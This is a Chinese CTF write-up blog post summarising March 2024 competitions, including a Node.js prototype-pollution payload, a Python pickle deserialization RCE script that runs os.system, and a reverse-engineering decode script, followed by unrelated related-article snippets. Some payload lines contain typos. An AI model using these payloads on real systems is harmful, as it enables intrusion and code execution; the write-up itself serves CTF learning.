3月份后半月比赛总结

VCTF

web

hackjs

就直接给了源码审计

const express = require('express')
const fs = require('fs')
var bodyParser = require('body-parser');
const app = express()
app.use(bodyParser.urlencoded({
    extended: true
}));
app.use(bodyParser.json());

app.post('/plz', (req, res) => {

    venom = req.body.venom

    if (Object.keys(venom).length < 3 && venom.welcome == 159753) {
        try {
            if(venom.hasOwnProperty("text")){
                res.send(venom.text)
            }else{
                res.send("no text detected")
            }
        } catch {
            if (venom.text=="flag") {
                let flag=fs.readFileSync("/flag");
                res.send("Congratulations:"+flag);
            } else {
                res.end("Nothing here!")
            }
        }
    } else {
        res.end("happy game");
    }
})



app.get('/',
function(req, res, next) {
    res.send('<title>oldjs</title><a>Hack me plz</a><br><form action="/plz" method="POST">text:<input type="text" name="venom[text]" value="ezjs"><input type="submit" value="Hack"></form>  ');
});

app.listen(80, () => {
  console.log(`listening at port 80`)
}) 


发现要满足venom.text满足=flag,这里就是要满足传参要求
1.welcome键值要为15973
2.text键值要存在
3.不超过三个键值
4.触发异常
这里很明显就是有个Node.js利用漏洞,我也马上想到了要利用__proto__进行构造
第一次我的构造是

//明显这只符合第一个
venom[welcome]=15973&venom.text=flag
//升级一下
venom[__proto__][text]=flag&wenom[welcome]=159753

发现得需要异常,这里就得看到
venom.hasOwnProperty("text")
这里触发异常就得把hasOwnProperty变成一个键值就能了
所以

venom[__proto__][text]=flag&venom[welcome]=159753&venmo[hashOwnProperty]=NYGis

这里的构造其实并不难,但是这里有个键值数量小于三是挺迷惑的,应该是用__proto__构造的这个传参是不会算的。。。。
但不知道为什么我放自己环境就不行,版本原因吗,有师傅知道嘛。。。做的时候放自己环境做没出就没试,看了别人wp才知道这样好像可以
为什么自己的不行应该是修复了
具体可以看 https://github.com/n8tz/CVE-2022-24999
学习wp
在这里插入图片描述

misc

checkin

具体解法看官方wp
https://github.com/ChaMd5Team/Venom-WP/tree/main/2024VenomCTF/2024_vctf_misc_checkin/writeup

reverse

ezre

作为逆向站门口选手,就比赛的时候看了下大致逻辑,也看出来是一个加密+换表base64,赛后跟着大佬wp摸索了一番,逐步理解了一下,这题还算简单。脚本就直接放大佬的,还是比较易懂的
https://ycznkvrmzo.feishu.cn/docx/CFV4dJV2GoL6mLxxJvNcgkFzn5e(原脚本wp)

from base64 import b64decode

def decode(s):
    old_table = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
    new_table = '0123456789XYZabcdefghijklABCDEFGHIJKLMNOPQRSTUVWmnopqrstuvwxyz+/='
    t=''
    for i in s:
        t+=old_table[new_table.index(i)]
    return  b64decode(t)
def init(box, key):
    for i in range(128):
        box[i] = i
    j = 0
    for i in range(128):
        j = (j + box[i] + key[i % len(key)]) & 0x7f
        box[i], box[j] = box[j], box[i]

def crypt(box, input):
    output = []
    k = 0
    for i in range(len(input)):
        j = (i + 1) & 0x7f
        k = (box[j] + k) & 0x7f
        box[k], box[j] = box[j], box[k]
        output.append(box[(box[j] + box[k]) & 0x7f] ^ input[i])
    return bytes(output)

box = [0]*128
init(box,b'Thi5_1S_key?')
print(crypt(box, decode("3pn1Ek92hmAEg38EXMn99J9YBf8=")))

wolvctf

Web

The Gauntlet

看着说是web基础题,结果里面有10个关卡。。。

第一关header
第二关OPTIONS,
第三关GET方法
第四关POST方法
第五关脚本
第六关302跳转
第七关cookie
第八关jwt

Bean Cafe

看起来是上传MD5相同的两张照片,但是好像不行?
赛后看了wp就是上传MD5相同但图片不同的,比赛一直报400.。。
破案,这个换下上传图片位置就可以了。

KalmarCTF

web

File Store

开始目录穿越有点像
上传脚本
利用原理就是picke反序列化,但原因还是不知道为什么,覆盖原文件flask_session,但是为什么会执行picke不理解
还是看大佬的吧
https://ireland.re/posts/KalmarCTF_2024/

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = ('cp /flag.txt /app/static/uploads/abcd.txt')
        return os.system, (cmd,)

def generate_exploit():
    payload = pickle.dumps(RCE(), 0)
    return b"\x00"*4 + payload


with open("254b2716336df2553ce5c04a934d56e4", "wb") as f:
    f.write(generate_exploit())

docker附件的部署环境

昨天想复现下web题目,发现还不会怎么使用docker,系统一下
本地下载docker环境,我电脑因为有vm虚拟机和电脑有冲突,就用linux进行下载,跟着别人搭好后,把含有docker的文件放到虚拟机里面,进入所在文件夹

cd  file_store 
docker-compose up -d

#假设你想要停止一个名为 my_container 的容器,你可以运行以下命令:
docker stop my_container

显示部署在5000端口在这里插入图片描述更新…

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/469280.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

VR历史建筑漫游介绍|虚拟现实体验店|VR设备购买

VR历史建筑漫游是一种利用虚拟现实技术&#xff0c;让用户可以身临其境地参观和探索历史建筑的体验。通过VR头显和相关设备&#xff0c;用户可以在虚拟环境中自由移动和互动&#xff0c;感受历史建筑的真实氛围和文化内涵。 在VR历史建筑漫游中&#xff0c;您可以选择不同的历史…

Android 之 GMS 认证知多少?

GMS认证 1.什么是GMS GMS全称Google Mobile Service&#xff0c;谷歌移动服务。 为什么要通过GMS认证 Android 系统是开源的&#xff0c;但是 Google 针对GMS所提供的服务却是收费的&#xff0c;比如Google Map&#xff0c;Google Play&#xff0c;Youtube&#xff0c;Gmai…

堆(数据结构)

堆的概念及结构 如果有一个关键码的集合K { &#xff0c; &#xff0c; &#xff0c;…&#xff0c; }&#xff0c;把它的所有元素按完全二叉树的顺序存储方式存储在一个一维数组中&#xff0c;并满足&#xff1a; < 且 < ( > 且 > ) i 0&#xff0c;1&#xff…

Python爬虫案例-爬取主题图片(可以选择自己喜欢的主题)

2024年了&#xff0c;你需要网络资源不能还自己再慢慢找吧&#xff1f; 跟着博主一块学习如何利用爬虫获取资源&#xff0c;从茫茫大海中寻找那个她到再妹子群中找妹子&#xff0c;闭着眼睛都可以找到合适的那种。文章有完整示例代码&#xff0c;拿过来就可以用&#xff0c;欢迎…

【C语言】数据在内存中的存储(包含大小端字节序问题)~

一、前言 我们在刚开始学习C语言的时候&#xff0c;就接触到了很多数据的不同类型。我们也知道&#xff0c;数据是存储在一块内存空间的&#xff0c;且我们只知道数据的类型决定着&#xff0c;该数据在内存中所占内存空间的大小&#xff0c;且超过一个字节的数据在内存中存储的…

【项目实践Day06】异步请求与同步请求+Ajax+微信小程序上实现发送异步请求

什么是同步和异步 同步 在主线程上排队执行的任务&#xff0c;只有前一个任务执行完毕&#xff0c;才能继续执行下一个任务。也就是一旦调用开始&#xff0c;就必须等待其返回结果&#xff0c;程序的执行顺序和任务排列顺序一致。客户端必须等待服务器端的响应。在等待的期间客…

Android源码阅读 SharedPreferences - 1

目录 前言 正文 SharedPreferences.java PreferenceManager.java ContextImpl.java 前言 由于笔者目前水平限制&#xff0c;表达能力有限&#xff0c;尽请见谅。 SharedPreferences提供了一种轻量级的数据存储方式&#xff0c;允许保存和获取简单的键值对。它适用于保存少…

转座子插入序列分析1-GENE-IS分析管道

如果你使用 GENE-IS: Saira Afzal et al。 &#xff0c;2016请引用这篇研究文章。GENE-IS: time-efficient and accurate analysis of viral integration events in large-scale gene therapy data. Molecular Therapy - Nucleic Acids 2016, vol. 6:133-139. DOI:https://doi.…

做好外贸网站SEO优化,拓展海外市场

随着全球贸易的发展和互联网的普及&#xff0c;越来越多的外贸企业将目光投向了网络&#xff0c;希望通过建立网站来拓展海外市场。然而&#xff0c;在竞争激烈的外贸市场中&#xff0c;要让自己的网站脱颖而出&#xff0c;吸引更多的目标客户&#xff0c;就需要进行有效的SEO优…

StarRocks 记录

《实时数仓StarRocks集群部署》

提升Spring Boot应用性能的秘密武器:揭秘@Async注解的实用技巧

引言 在日常业务开发中&#xff0c;异步编程已成为应对并发挑战和提升应用程序性能的关键策略。传统的同步编程方式&#xff0c;由于会阻碍主线程执行后续任务直至程序代码执行结束&#xff0c;不可避免地降低了程序整体效率与响应速度。因此&#xff0c;为克服这一瓶颈&#…

win11环境安装VmwareLinux

VMware 安装Vmware 操作系统&#xff1a; win11 VM版本&#xff1a; 重启系统 输入许可证秘钥 安装centos finalshell连接linux服务 配置虚拟机运行状态 查询linux服务器的ip地址 下载finalshell 访问FinalShell官网 (hostbuf.com)

Spring6入门到高级-动力节点老杜

文章目录 OCP开闭原则依赖倒置原则控制反转依赖注入DISet方法注入构造注入 Sping特点代理模式代理模式中的角色动态代理JDK动态代理newProxyInstance() 的三个参数 JDK实现代理的步骤第一步&#xff1a;创建目标对象第二步&#xff1a;创建代理对象第三步&#xff1a;调用代理对…

C语言学习--八种排序算法

目录 排序的概念 1.直接插入排序 基本思想 代码实现 算法分析 2.希尔排序 基本思想 代码实现 算法分析 3.冒泡排序 基本思想 代码实现 算法分析 4.快速排序 基本思想 代码实现 算法分析 5.简单选择排序 基本思想 代码实现 算法分析 6.堆排序 基本思想 代…

合合信息扫描全能王亮相静安区3·15活动,AI扫描带来绿色消费新体验

保护消费者的合法权益&#xff0c;是全社会的共同责任。为优化消费环境、促进品质消费高地建设&#xff0c;打造安全优质和谐的消费环境&#xff0c;上海静安区消保委于3月15日举办静安区2024年“315”国际消费者权益日活动。 “激发消费活力&#xff0c;绿色低碳同行”是本次3…

Vue+SpringBoot打造民宿预定管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 用例设计2.2 功能设计2.2.1 租客角色2.2.2 房主角色2.2.3 系统管理员角色 三、系统展示四、核心代码4.1 查询民宿4.2 新增民宿4.3 新增民宿评价4.4 查询留言4.5 新增民宿订单 五、免责说明 一、摘要 1.1 项目介绍 基于…

傻傻分不清目标检测、语义分割和实例分割,看这篇就够了

⭐️ 导言 随着深度学习技术的飞速发展&#xff0c;计算机视觉领域取得了巨大的进步。目标检测、语义分割和实例分割是计算机视觉中的重要任务&#xff0c;它们在图像理解和视频分析等方面发挥着关键作用。本文将深入探讨这三个任务的概念、原理、常用算法以及在实际应用中的案…

(css)vue 自定义背景 can‘t resolve

(css)vue 自定义背景 can’t resolve 旧写法&#xff1a; background-image: url(/assets/images/step-bg.jpg);background-size: 100% 100%; 新写法&#xff1a; background-image: url(~/assets/images/step-bg.jpg);background-size: 100% 100%; 解决参考&#xff1a;https…

shopee无货源出单了怎么发货?shopee怎么做无货源?

在Shopee的电商大舞台上&#xff0c;“无货源出单”就像是一场神奇的魔术表演。你的店铺是舞台&#xff0c;买家的订单是观众的掌声&#xff0c;而你&#xff0c;就是那位神秘的魔术师。订单来了&#xff0c;你却没有货&#xff1f;这可不是什么障碍&#xff0c;因为你有着更为…

算法详解——选择排序和冒泡排序

一、选择排序 选择排序算法的执行过程是这样的&#xff1a;首先&#xff0c;算法遍历整个列表以确定最小的元素&#xff0c;接着&#xff0c;这个最小的元素被置换到列表的开头&#xff0c;确保它被放置在其应有的有序位置上。接下来&#xff0c;从列表的第二个元素开始&#x…